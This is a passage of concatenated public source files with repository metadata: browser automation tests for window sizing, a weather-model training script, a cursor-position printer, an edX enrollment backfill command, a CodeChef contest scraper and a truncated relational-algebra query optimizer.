# This makes this hard to reliably test across different\n        # environments.  Generally we are happy when calling\n        # marionette.set_window_position with negative coordinates does\n        # not throw.\n        #\n        # Because we have to cater to an unknown set of environments,\n        # the following assertions are the most common denominator that\n        # make this test pass, irregardless of system characteristics.\n\n        os = self.marionette.session_capabilities[\"platformName\"]\n\n        # Regardless of platform, headless always supports being positioned\n        # off-screen.\n        if self.marionette.session_capabilities[\"moz:headless\"]:\n            self.assertEqual(-8, position[\"x\"])\n            self.assertEqual(-8, position[\"y\"])\n\n        # Certain WMs prohibit windows from being moved off-screen,\n        # but we don't have this information.  It should be safe to\n        # assume a window can be moved to (0,0) or less.\n        elif os == \"linux\":\n            # certain WMs prohibit windows from being moved off-screen\n            self.assertLessEqual(position[\"x\"], 0)\n            self.assertLessEqual(position[\"y\"], 0)\n\n        # On macOS, windows can only be moved off the screen on the\n        # horizontal axis.  The system menu bar also blocks windows from\n        # being moved to (0,0).\n        elif os == \"darwin\":\n            self.assertEqual(-8, position[\"x\"])\n            self.assertEqual(23, position[\"y\"])\n\n        # It turns out that Windows is the only platform on which the\n        # window can be reliably positioned off-screen.\n        elif os == \"windows_nt\":\n            self.assertEqual(-8, position[\"x\"])\n            self.assertEqual(-8, position[\"y\"])\n\n\nclass TestSize(MarionetteTestCase):\n\n    def setUp(self):\n        super(MarionetteTestCase, self).setUp()\n        self.max = self.marionette.execute_script(\"\"\"\n            return {\n              width: window.screen.availWidth,\n              height: window.screen.availHeight,\n            }\"\"\", sandbox=None)\n\n        # WebDriver spec says a resize cannot result in window being\n        # maximised, an error is returned if that is the case; therefore if\n        # the window is maximised at the start of this test, returning to\n        # the original size via set_window_size size will result in error;\n        # so reset to original size minus 1 pixel width\n        start_size = self.marionette.window_size\n        if start_size[\"width\"] == self.max[\"width\"] and start_size[\"height\"] == self.max[\"height\"]:\n            start_size[\"width\"] -= 10\n            start_size[\"height\"] -= 10\n        self.marionette.set_window_size(start_size[\"width\"], start_size[\"height\"])\n\n        self.original_size = self.marionette.window_size\n\n    def tearDown(self):\n        self.marionette.set_window_size(\n            self.original_size[\"width\"], self.original_size[\"height\"])\n        is_fullscreen = self.marionette.execute_script(\"return document.fullscreenElement;\", sandbox=None)\n        if is_fullscreen:\n            self.marionette.fullscreen()\n        super(MarionetteTestCase, self).tearDown()\n\n    def test_get_types(self):\n        size = self.marionette.window_size\n        self.assertIn(\"width\", size)\n        self.assertIn(\"height\", size)\n        self.assertIsInstance(size[\"width\"], int)\n        self.assertIsInstance(size[\"height\"], int)\n\n    def test_set_types(self):\n        for width, height in ([\"a\", \"b\"], [1.2, 3.4], [True, False], [[], []], [{}, {}]):\n            print(\"testing invalid type size ({},{})\".format(width, height))\n            with self.assertRaises(InvalidArgumentException):\n                self.marionette.set_window_size(width, height)\n\n    def test_setting_window_rect_with_nulls_errors(self):\n        with self.assertRaises(InvalidArgumentException):\n            self.marionette.set_window_rect(height=None, width=None,\n                                            x=None, y=None)\n\n    def test_set_size_with_rect(self):\n        actual = self.marionette.window_size\n        width = actual[\"width\"] - 50\n        height = actual[\"height\"] - 50\n\n        size = self.marionette.set_window_rect(width=width, height=height)\n        self.assertEqual(size[\"width\"], width,\n                         \"New width is {0} but should be {1}\".format(size[\"width\"], width))\n        self.assertEqual(size[\"height\"], height,\n                         \"New height is {0} but should be {1}\".format(size[\"height\"], height))\n\n    def test_resize_to_new_size(self):\n        old = self.marionette.window_size\n        new = {\"width\": old[\"width\"] + 10, \"height\": old[\"height\"] + 10}\n        self.marionette.set_window_size(new[\"width\"], new[\"height\"])\n        actual = self.marionette.window_size\n        self.assertEqual(actual[\"width\"], new[\"width\"])\n        self.assertEqual(actual[\"height\"], new[\"height\"])\n\n    def test_resize_to_existing_size(self):\n        old = self.marionette.window_size\n        self.marionette.set_window_size(old[\"width\"], old[\"height\"])\n        new = self.marionette.window_size\n        self.assertEqual(old[\"width\"], new[\"width\"])\n        self.assertEqual(old[\"height\"], new[\"height\"])\n\n    def test_resize_larger_than_screen(self):\n        self.marionette.set_window_size(\n            self.max[\"width\"] * 2, self.max[\"height\"] * 2)\n        new = self.marionette.window_size\n\n        # in X the window size may be greater than the bounds of the screen\n        self.assertGreaterEqual(new[\"width\"], self.max[\"width\"])\n        self.assertGreaterEqual(new[\"height\"], self.max[\"height\"])\n\n    def test_resize_to_available_screen_size(self):\n        result = self.marionette.set_window_rect(width=self.max['width'],\n                                                 height=self.max[\"height\"])\n        self.assertEqual(result[\"width\"], self.max[\"width\"])\n        self.assertEqual(result[\"height\"], self.max[\"height\"])\n\n    def test_resize_while_fullscreen(self):\n        self.marionette.fullscreen()\n        result = self.marionette.set_window_rect(width=self.max[\"width\"] - 100,\n                                                 height=self.max[\"height\"] - 100)\n\n        self.assertTrue(self.marionette.execute_script(\"return window.fullscreenElement == null\",\n                                                        sandbox=None))\n        self.assertEqual(result[\"width\"], self.max[\"width\"] - 100)\n        self.assertEqual(result[\"height\"], self.max[\"height\"] - 100)\n", "repo_name": "WaterfoxCo/Waterfox-Classic", "sub_path": "testing/marionette/harness/marionette_harness/tests/unit/test_window_rect.py", "file_name": "test_window_rect.py", "file_ext": "py", "file_size_in_byte": 9703, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 160, "dataset": "github-code", "pt": "71", "api": [{"api_name": "marionette_harness.MarionetteTestCase", "line_number": 10, "usage_type": "name"}, {"api_name": "marionette_harness.MarionetteTestCase.setUp", "line_number": 13, "usage_type": "call"}, {"api_name": "marionette_harness.MarionetteTestCase", "line_number": 13, "usage_type": "name"}, {"api_name": "marionette_harness.MarionetteTestCase.tearDown", "line_number": 19, "usage_type": "call"}, {"api_name": "marionette_harness.MarionetteTestCase", "line_number": 19, "usage_type": "name"}, {"api_name": "marionette_driver.errors.InvalidArgumentException", "line_number": 31, "usage_type": "argument"}, {"api_name": "marionette_driver.errors.InvalidArgumentException", "line_number": 35, "usage_type": "argument"}, {"api_name": "marionette_harness.MarionetteTestCase", "line_number": 113, "usage_type": "name"}, {"api_name": "marionette_harness.MarionetteTestCase", "line_number": 116, "usage_type": "argument"}, {"api_name": "marionette_harness.MarionetteTestCase", "line_number": 142, "usage_type": "argument"}, {"api_name": "marionette_driver.errors.InvalidArgumentException", "line_number": 154, "usage_type": "argument"}, {"api_name": "marionette_driver.errors.InvalidArgumentException", "line_number": 158, "usage_type": "argument"}]}
{"seq_id": "39726064453", "text": "import numpy as np\nimport torch\nimport pytorch_lightning as pl\nfrom pytorch_lightning.strategies import DDPStrategy\n\nimport os\nimport sys\nimport argparse\n\nif __name__ == '__main__':\n  parser = argparse.ArgumentParser()\n  parser.add_argument('--max-train-steps', required=True, type=int)\n  parser.add_argument('--max-sampling-time-steps', default=1, type=int)\n  parser.add_argument('--base-lr', default=3*1e-3, type=float)\n  parser.add_argument('--resume-checkpoint-path', default='', type=str)\n  parser.add_argument('--best-model-path', default='', type=str)\n  args = parser.parse_args()\n\n  curr_dir = os.path.dirname(os.path.realpath(__file__)) \n\n  if curr_dir not in sys.path:\n    sys.path.append(curr_dir)\n\n  from model import FourCastNetModule\n  from data import Era5DataModule\n  from utils import get_logger\n\n  logger = get_logger(__name__)\n\n  base_lr = args.base_lr\n  max_steps = args.max_train_steps\n  batch_size = 1\n\n  train_crop_h = 640\n  train_crop_w = 1280\n\n  checkpoint_every_n_train_steps = 500\n  train_log_every_n_steps = min(max(max_steps * 0.05, 1), 100)\n  trainer_root_dir = os.path.dirname(curr_dir)\n  dataset_checkpoint_path = os.path.join(curr_dir, 'dataset_states.json')\n\n  if len(args.best_model_path) == 0:\n    best_model_path = os.path.join(curr_dir, 'best_model.txt')\n  else:\n    parent_dir = os.path.dirname(os.path.realpath(args.best_model_path))\n    assert os.path.exists(parent_dir)\n    best_model_path = args.best_model_path\n\n  if len(args.resume_checkpoint_path) == 0:\n    resume_checkpoint_path = None\n  else:\n    assert os.path.exists(args.resume_checkpoint_path)\n    resume_checkpoint_path = args.resume_checkpoint_path\n\n  if args.max_sampling_time_steps > 1:\n    assert resume_checkpoint_path is not None\n\n  pl.seed_everything(0)\n  precision = 16 if torch.cuda.is_available() else 32\n\n  means_np = np.load(f'{curr_dir}/stats/global_means.npy')[:, :-1]\n  stds_np = np.load(f'{curr_dir}/stats/global_stds.npy')[:, :-1]\n\n  means = torch.from_numpy(means_np).to(dtype=torch.float)\n  stds = torch.from_numpy(stds_np).to(dtype=torch.float)\n\n  if args.max_sampling_time_steps == 1:\n    grad_accum_schedule={0:1, int(max_steps*0.3):2}\n  else:\n    grad_accum_schedule={0:2, }\n\n  model = FourCastNetModule(\n    means,\n    stds,\n    base_lr=base_lr,\n    grad_accum_schedule=grad_accum_schedule,\n    spatial_size=(train_crop_h, train_crop_w),\n    precision=precision,\n  )\n\n  if args.max_sampling_time_steps > 1:\n    logger.info(f'loading checkpoint for fine-tuning: {resume_checkpoint_path}')\n    checkpoint = FourCastNetModule.load_from_checkpoint(resume_checkpoint_path)\n    model.net.load_state_dict(checkpoint.net.state_dict())\n\n  data_loader = Era5DataModule(\n    max_sampling_time_steps=args.max_sampling_time_steps,\n    checkpoint_path = dataset_checkpoint_path,\n    batch_size=batch_size,\n    train_crop_h=train_crop_h,\n    train_crop_w=train_crop_w,\n  )\n\n  checkpoint_callback = pl.callbacks.ModelCheckpoint(\n      every_n_train_steps=checkpoint_every_n_train_steps,\n      verbose=True,\n      monitor='step',\n      mode='max',\n      save_top_k=5,\n      filename='model-{step}')\n\n  strategy = DDPStrategy(find_unused_parameters=False)\n  trainer = pl.Trainer(default_root_dir=trainer_root_dir,\n      max_steps=max_steps,\n      devices='auto',\n      accelerator='auto',\n      strategy=strategy,\n      gradient_clip_val=1.0,\n      precision=precision,\n      log_every_n_steps=train_log_every_n_steps,\n      enable_progress_bar=False,\n      callbacks=[checkpoint_callback, ])\n\n  if trainer.is_global_zero:\n    logger.info(model)\n\n  if args.max_sampling_time_steps > 1:\n    resume_checkpoint_path = None\n  trainer.fit(model, data_loader, ckpt_path=resume_checkpoint_path)\n\n  if trainer.is_global_zero:\n    with open(os.path.join(best_model_path), 'w') as f:\n      f.write(checkpoint_callback.best_model_path)\n\n    logger.info(f'best model path: {checkpoint_callback.best_model_path}')\n", "repo_name": "nci/FourCastNeXt", "sub_path": "trainer.py", "file_name": "trainer.py", "file_ext": "py", "file_size_in_byte": 3911, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 19, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 22, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "utils.get_logger", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pytorch_lightning.seed_everything", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 64, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 65, "usage_type": "attribute"}, {"api_name": "model.FourCastNetModule", "line_number": 72, "usage_type": "call"}, {"api_name": "model.FourCastNetModule.load_from_checkpoint", "line_number": 83, "usage_type": "call"}, {"api_name": "model.FourCastNetModule", "line_number": 83, "usage_type": "name"}, {"api_name": "model.net.load_state_dict", "line_number": 84, "usage_type": "call"}, {"api_name": "model.net", "line_number": 84, "usage_type": "attribute"}, {"api_name": "data.Era5DataModule", "line_number": 86, "usage_type": "call"}, {"api_name": "pytorch_lightning.callbacks.ModelCheckpoint", "line_number": 94, "usage_type": "call"}, {"api_name": "pytorch_lightning.callbacks", "line_number": 94, "usage_type": "attribute"}, {"api_name": "pytorch_lightning.strategies.DDPStrategy", "line_number": 102, "usage_type": "call"}, {"api_name": "pytorch_lightning.Trainer", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}]}
{"seq_id": "13829523332", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\n--------------------------------\n@File    : cursorFecther.py\n@Time    : 2019/10/13 18:25\n@Author  : Bright Chen\n@Mail    : bright_chen7@163.com\n--------------------------------\n'''\n\nimport pyautogui, sys\nprint('Press Ctrl-C to quit.')\ntry:\n    while True:\n        x, y = pyautogui.position()\n        positionStr = 'X: ' + str(x).rjust(4) + ' Y: ' + str(y).rjust(4)\n        print(positionStr, end='')\n        print('\\b' * len(positionStr), end='', flush=True)\nexcept KeyboardInterrupt:\n    print('\\n')", "repo_name": "brightchen7/PyAutoWorker", "sub_path": "src/examples/cursorFecther.py", "file_name": "cursorFecther.py", "file_ext": "py", "file_size_in_byte": 550, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pyautogui.position", "line_number": 16, "usage_type": "call"}]}
{"seq_id": "27951173184", "text": "\"\"\"\nDjango management command for creating EnterpriseCourseEnrollment records.\n\"\"\"\n\nimport logging\n\nfrom django.core.management import BaseCommand\nfrom django.db import connection\n\nfrom enterprise.models import (\n    EnterpriseCourseEnrollment,\n    EnterpriseCustomer,\n    EnterpriseCustomerUser,\n    EnterpriseEnrollmentSource,\n)\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass Command(BaseCommand):\n    \"\"\"\n    Creates EnterpriseCourseEnrollment records (if they do not already exist) for CourseEnrollment records\n    that are associated with an enterprise user and a course run that exists in the enterprise's catalog.\n    \"\"\"\n    help = 'Create EnterpriseCourseEnrollment records for CourseEnrollment records associated with an enterprise.'\n\n    def add_arguments(self, parser):\n        parser.add_argument(\n            '-e',\n            '--enterprise_customer_uuid',\n            action='store',\n            dest='enterprise_customer_uuid',\n            default=None,\n            help='Run this command for only the given EnterpriseCustomer UUID.'\n        )\n\n    def handle(self, *args, **options):\n        LOGGER.info(\"Command has started...\")\n        enterprise_customer_uuid_filter = options.get('enterprise_customer_uuid')\n        records_created = 0\n        records_failed = 0\n\n        missing_enrollment_data = self._fetch_course_enrollment_data(\n            enterprise_customer_uuid_filter\n        )\n        LOGGER.info('System has %s missing enrollments', len(missing_enrollment_data))\n        for item in missing_enrollment_data:\n            course_exist_in_catalog = False\n            user_id = item['user_id']\n            course_run_id = item['course_run_id']\n            enterprise_customer_uuid = item['enterprise_customer_uuid']\n\n            LOGGER.info(\n                'Trying to create the enrollment for user [%s] in course [%s] for enterprise customer [%s]',\n                user_id,\n                course_run_id,\n                enterprise_customer_uuid\n            )\n\n            enterprise_customer = EnterpriseCustomer.objects.get(uuid=enterprise_customer_uuid)\n\n            try:\n                LOGGER.info(\n                    'Checking whether course [%s] exists in enterprise customer [%s] - [%s] catalog',\n                    course_run_id,\n                    enterprise_customer_uuid,\n                    enterprise_customer.name\n                )\n                course_exist_in_catalog = enterprise_customer.catalog_contains_course(course_run_id)\n            except Exception as exc:    # pylint: disable=broad-except\n                records_failed += 1\n                LOGGER.warning(\n                    'Course [%s] does not exist in EnterpriseCustomer [%s] due to this exception: [%s]',\n                    course_run_id,\n                    enterprise_customer.uuid,\n                    str(exc)\n                )\n\n            if course_exist_in_catalog:\n                enterprise_customer_user = EnterpriseCustomerUser.objects.filter(\n                    enterprise_customer=enterprise_customer_uuid,\n                    user_id=user_id\n                )\n\n                # This is an extra check for preventing the exception.\n                # We already have implemented the solution for this (soft deletion).\n                if enterprise_customer_user.exists():\n                    enterprise_customer_user = enterprise_customer_user.first()\n                    __, created = EnterpriseCourseEnrollment.objects.get_or_create(\n                        enterprise_customer_user=enterprise_customer_user,\n                        course_id=course_run_id,\n                        defaults={\n                            'source': EnterpriseEnrollmentSource.get_source(\n                                EnterpriseEnrollmentSource.MANAGEMENT_COMMAND\n                            )\n                        }\n                    )\n                    if created:\n                        # if we have enrolled the user in a course then we should\n                        # active this record and inactive all the other records.\n                        enterprise_customer_user.active = True\n                        enterprise_customer_user.save()\n                        EnterpriseCustomerUser.inactivate_other_customers(user_id, enterprise_customer)\n\n                        records_created += 1\n                        LOGGER.info(\n                            'EnterpriseCourseEnrollment created: EnterpriseCustomer [%s] - User [%s] - CourseRun [%s]',\n                            enterprise_customer_uuid,\n                            user_id,\n                            course_run_id\n                        )\n                    else:\n                        LOGGER.warning(\n                            'EnterpriseCourseEnrollment exists: EnterpriseCustomer [%s] - User [%s] - CourseRun [%s]',\n                            enterprise_customer_uuid,\n                            user_id,\n                            course_run_id\n                        )\n                else:\n                    LOGGER.info(\n                        'User [%s] is not linked with EnterpriseCustomer - [%s]',\n                        user_id,\n                        enterprise_customer.uuid,\n                    )\n\n        LOGGER.info('Created %s missing EnterpriseCourseEnrollments.', records_created)\n        LOGGER.info('Exception raised for %s records.', records_failed)\n\n    def _fetch_course_enrollment_data(self, enterprise_customer_uuid):\n        \"\"\"\n        Return enterprise customer UUID/user_id/course_run_id triples which represent CourseEnrollment records\n        which do not have a matching EnterpriseCourseEnrollment record.\n\n        The query used below looks for CourseEnrollment records that are associated with enterprise\n        learners where the enrollment data is after the creation of the link between the learner\n        and the enterprise. It also excludes learners with edx.org email addresses in order to\n        filter out test users.\n        \"\"\"\n        LOGGER.info(\"Trying to fetch the data from Database with enterprise customer [%s]\", enterprise_customer_uuid)\n        query = '''\n            SELECT\n                au.id as user_id,\n                ecu.enterprise_customer_id as enterprise_customer_uuid,\n                sce.course_id as course_run_id\n            FROM student_courseenrollment sce\n            JOIN auth_user au\n                ON au.id = sce.user_id\n            JOIN enterprise_enterprisecustomeruser ecu\n                ON ecu.user_id = au.id\n            LEFT JOIN enterprise_enterprisecourseenrollment ece\n                ON ece.enterprise_customer_user_id = ecu.id\n                AND ece.course_id = sce.course_id\n            WHERE\n                ecu.linked = true\n                AND ece.id IS NULL\n                AND ecu.created <= sce.created\n                AND au.email NOT LIKE '%@edx.org'\n                {enterprise_customer_filter}\n            ORDER BY sce.created;\n        '''\n\n        with connection.cursor() as cursor:\n            if enterprise_customer_uuid:\n                cursor.execute(\n                    query.format(enterprise_customer_filter='AND ecu.enterprise_customer_id = %s'),\n                    [enterprise_customer_uuid]\n                )\n            else:\n                cursor.execute(\n                    query.format(enterprise_customer_filter='')\n                )\n\n            return self._dictfetchall(cursor)\n\n    def _dictfetchall(self, cursor):\n        \"\"\" Return all rows from a cursor as a dict. \"\"\"\n        columns = [col[0] for col in cursor.description]\n        return [\n            dict(zip(columns, row))\n            for row in cursor.fetchall()\n        ]\n", "repo_name": "openedx/edx-enterprise", "sub_path": "enterprise/management/commands/create_enterprise_course_enrollments.py", "file_name": "create_enterprise_course_enrollments.py", "file_ext": "py", "file_size_in_byte": 7679, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 42, "dataset": "github-code", "pt": "70", "api": [{"api_name": "logging.getLogger", "line_number": 17, "usage_type": "call"}, {"api_name": "django.core.management.BaseCommand", "line_number": 20, "usage_type": "name"}, {"api_name": "enterprise.models.EnterpriseCustomer.objects.get", "line_number": 60, "usage_type": "call"}, {"api_name": "enterprise.models.EnterpriseCustomer.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "enterprise.models.EnterpriseCustomer", "line_number": 60, "usage_type": "name"}, {"api_name": "enterprise.models.EnterpriseCustomerUser.objects.filter", "line_number": 80, "usage_type": "call"}, {"api_name": "enterprise.models.EnterpriseCustomerUser.objects", "line_number": 80, "usage_type": "attribute"}, {"api_name": "enterprise.models.EnterpriseCustomerUser", "line_number": 80, "usage_type": "name"}, {"api_name": "enterprise.models.EnterpriseCourseEnrollment.objects.get_or_create", "line_number": 89, "usage_type": "call"}, {"api_name": "enterprise.models.EnterpriseCourseEnrollment.objects", "line_number": 89, "usage_type": "attribute"}, {"api_name": "enterprise.models.EnterpriseCourseEnrollment", "line_number": 89, "usage_type": "name"}, {"api_name": "enterprise.models.EnterpriseEnrollmentSource.get_source", "line_number": 93, "usage_type": "call"}, {"api_name": "enterprise.models.EnterpriseEnrollmentSource", "line_number": 93, "usage_type": "name"}, {"api_name": "enterprise.models.EnterpriseEnrollmentSource.MANAGEMENT_COMMAND", "line_number": 94, "usage_type": "attribute"}, {"api_name": "enterprise.models.EnterpriseEnrollmentSource", "line_number": 94, "usage_type": "name"}, {"api_name": "enterprise.models.EnterpriseCustomerUser.inactivate_other_customers", "line_number": 103, "usage_type": "call"}, {"api_name": "enterprise.models.EnterpriseCustomerUser", "line_number": 103, "usage_type": "name"}, {"api_name": "django.db.connection.cursor", "line_number": 162, "usage_type": "call"}, {"api_name": "django.db.connection", "line_number": 162, "usage_type": "name"}]}
{"seq_id": "74840282469", "text": "import requests\nfrom bs4 import BeautifulSoup\n\n# Constants like the contest page link and contest data headers\nCONTEST_PAGE = \"https://www.codechef.com/contests/\"\nHEADERS = [\"CODE\", \"NAME\", \"START\", \"END\"]\n\n# Get the output file name\nOUTPUT_FILE = input(\"Please specify the output filename (.txt or .csv): \")\nprint(f\"Scraping {CONTEST_PAGE}...\")\n\n# Get the contest page's source and pass it to BeautifulSoup\nresponse = requests.get(CONTEST_PAGE)\nsoup = BeautifulSoup(response.content, \"html.parser\")\n\n# Locate the tables for 'Present' and 'Future' contests\ncontest_tables = soup.find_all(\"table\", class_=\"dataTable\")[0:-1]\n\n# Scrape the data from inside the tables like contest code, name,\n# start and end date\ncontest_data = []\nfor table in contest_tables:\n    contests = []\n    for contest in table.tbody.find_all(\"tr\"):\n        row_elems = contest.find_all(\"td\")\n        contests.append([elem.get_text().strip() for elem in row_elems])\n    contest_data.append(contests)\n\nprint(f\"Writing data to {OUTPUT_FILE}...\")\n# Write the scraped data to the specified output file as a CSV\nwith open(OUTPUT_FILE, \"w+\") as csv:\n    csv.write(\"CodeChef Contests (Present and Upcoming)\\n\")\n    for contest_type, contests in zip(\n        [\"Current Contests\", \"Future Contests\"], contest_data\n    ):\n        csv.write(\"\\n\")\n        csv.write(contest_type + \"\\n\")\n        csv.write(\", \".join(HEADERS) + \"\\n\")\n        for contest in contests:\n            csv.write(\", \".join(contest) + \"\\n\")\n", "repo_name": "Python-World/Python_and_the_Web", "sub_path": "Scripts/Web_Scrappers/CodeChef_Contest_Scraper/codechef_contest_scraper.py", "file_name": "codechef_contest_scraper.py", "file_ext": "py", "file_size_in_byte": 1475, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 666, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 13, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "70575011109", "text": "import re\nfrom collections import defaultdict\nfrom typing import Union\n\nimport radb.parse\nfrom radb.RAParser import RAParser\nfrom radb.ast import RelExpr, ValExprBinaryOp, Select, Rename, AttrRef, RelRef, Cross, Join\nimport queue\n\n\ndef rule_break_up_selections(ra: RelExpr) -> RelExpr:\n    \"\"\"\n    split the complex selection into simple one.\n    :param ra: Relation expression\n    :type ra: RelExpr\n    :return: Relation expression with simple select\n    :rtype: RelExpr\n    \"\"\"\n\n    # Initiate the queue\n    Q = queue.Queue()\n    # Push the first object\n    Q.put_nowait(ra)\n\n    while not Q.empty():\n        current_element = Q.get_nowait()\n        # Pop the element\n\n        if type(current_element) == Select and not any(\n                [type(expr_input) != ValExprBinaryOp for expr_input in current_element.cond.inputs]):\n            # Store previous inputs and conditions\n            previous_input = current_element.inputs[0]\n            previous_conditions = current_element.cond\n\n            # Create new select statement using the first condition\n            new_select = Select(input=previous_input, cond=previous_conditions.inputs[1])\n\n            # Replace the current_element input with the newly created select and conditions with the second condition\n            current_element.inputs = [new_select]\n            current_element.cond = previous_conditions.inputs[0]\n\n            # Append the current element again\n            Q.put_nowait(current_element)\n\n        elif len(current_element.inputs) > 0:\n            # if the expression has more than one input inspect them.\n            for elem in current_element.inputs:\n                Q.put_nowait(elem)\n\n    return ra\n\n\ndef rule_push_down_selections(ra: RelExpr, dd: dict) -> RelExpr:\n    \"\"\"\n    Push each selection condition as far as possible\n    :param ra: relational expression\n    :type ra: RelExpr\n    :param dd: relations schema\n    :type dd: dict\n    :return: relation expression with selections pushed down as far as possible\n    :rtype: RelExpr\n    \"\"\"\n    rename_dict = find_rename(ra)\n    map_relation_to_select = find_selection_for_each_relation(ra, dd, rename_dict)\n\n    ra = delete_selection_from_expression(ra)\n\n    # Recursively traverse the object and insert the selections where they should be inserted.\n    ra, visited_relations = dfs(ra, map_relation_to_select)\n\n    # Check if there are still selections not inserted yet.\n    for key, conditions in map_relation_to_select.items():\n        ra = make_nested_selections(selection_input=ra, conditions=conditions)\n\n    return ra\n\n\ndef rule_merge_selections(ra: RelExpr) -> RelExpr:\n    \"\"\"\n    Push each selection condition as far as possible\n    :param ra: relational expression\n    :type ra: RelExpr\n    :return: relation expression with selections pushed down as far as possible\n    :rtype: RelExpr\n    \"\"\"\n    # Initiate stack\n    stack = [ra]\n\n    while len(stack) > 0:\n        current_element = stack.pop()\n        # Store current element for later use.\n        starting_elem = current_element\n\n        if type(current_element) == Select:\n            conditions = []\n\n            # Look for nested selections.\n            while type(current_element) == Select:\n                conditions.append(current_element.cond)\n                current_element = current_element.inputs[0]\n\n            # Insert new selection by updating previous one\n            new_select = make_combined_select(selection_input=current_element, conditions=conditions)\n            starting_elem.cond = new_select.cond\n            starting_elem.inputs = new_select.inputs\n\n        for element in starting_elem.inputs:\n            stack.append(element)\n\n    return ra\n\n\ndef rule_introduce_joins(ra: RelExpr) -> RelExpr:\n    \"\"\"\n    Introduces Join\n    :param ra: relational expression\n    :type ra: RelExpr\n    :return: relation expression with selections pushed down as far as possible\n    :rtype: RelExpr\n    \"\"\"\n    # Initiate stack with the encapsulated relational expression in order to be able to modify the expression without\n    # the need to create a new object.\n    ra = RelExpr(inputs=[ra])\n    stack = [ra]\n\n    while len(stack) > 0:\n        current_element = stack.pop()\n        # Check nested structure to be able to modify object without the need to construct a new one.\n        if len(current_element.inputs) > 0 and type(current_element.inputs[0]) == Select and type(\n                current_element.inputs[0].inputs[0]) == Cross:\n            cross_product = current_element.inputs[0].inputs[0]\n            current_element.inputs[0] = Join(left=cross_product.inputs[0], right=cross_product.inputs[1],\n                                             cond=current_element.inputs[0].cond)\n\n        for element in current_element.inputs:\n            stack.append(element)\n\n    # Strip away the encapsulation\n    return ra.inputs[0]\n\n\ndef delete_selection_from_expression(ra: RelExpr) -> RelExpr:\n    \"\"\"\n    Deleted selection statements from the RelExpr\n    :param ra: relational expression\n    :return: relational expression\n    \"\"\"\n    regular_expr = '\\\\\\\\select_{.{0,100}?}'\n    rel_expr_string = str(ra)\n    rel_expr_string_no_selection = re.sub(regular_expr, '', rel_expr_string) + ';'\n    return radb.parse.one_statement_from_string(rel_expr_string_no_selection)\n\n\ndef make_nested_selections(conditions: list, selection_input: Union[RelRef, RelExpr]) -> RelExpr:\n    \"\"\"\n    Combine the conditions into one nested selection.\n    :param conditions: list of conditions : [ cond_1, cond_2, ...]\n    :param selection_input: the input to use for the selection.\n    :return: RelExpr\n    \"\"\"\n\n    # Initiate variable to store previous select\n    prev_select = None\n    for condition in conditions[::-1]:\n        if prev_select is not None:\n            new_select = Select(input=prev_select, cond=condition)\n\n        else:\n            new_select = Select(input=selection_input, cond=condition)\n\n        prev_select = new_select\n\n    return prev_select\n\n\ndef make_combined_select(conditions: list, selection_input: Union[RelRef, RelExpr]) -> Select:\n    \"\"\"\n    Combine the conditions into one complex selection.\n    :param conditions: list of conditions : [ cond_1, cond_2, ...]\n    :param selection_input: the input to use for the selection.\n    :return: complex selection statement.\n    \"\"\"\n    prev_condition = None\n    for condition in conditions:\n        if prev_condition is not None:\n            new_condition = ValExprBinaryOp(left=prev_condition, right=condition, op=RAParser.AND)\n\n        else:\n            new_condition = condition\n\n        prev_condition = new_condition\n\n    return Select(input=selection_input, cond=prev_condition)\n\n\ndef dfs(ra: [], map_relation_to_select: dict):\n    \"\"\"\n    Recursively traverse the RelExpr tree structure and update the object.\n    :param ra: relational expression or relation reference\n    :param map_relation_to_select: dictionary mapping a relation or a group of relations into select object\n    :return:\n    \"\"\"\n    list_of_relations_available = []\n    if len(ra.inputs) == 0:\n        if type(ra) == RelRef:\n            list_of_relations_available.append(ra.rel)\n\n    for index, element in enumerate(ra.inputs):\n        expr, relations = dfs(element, map_relation_to_select)\n        ra.inputs[index] = expr\n        list_of_relations_available += relations\n\n    if type(ra) == Rename:\n        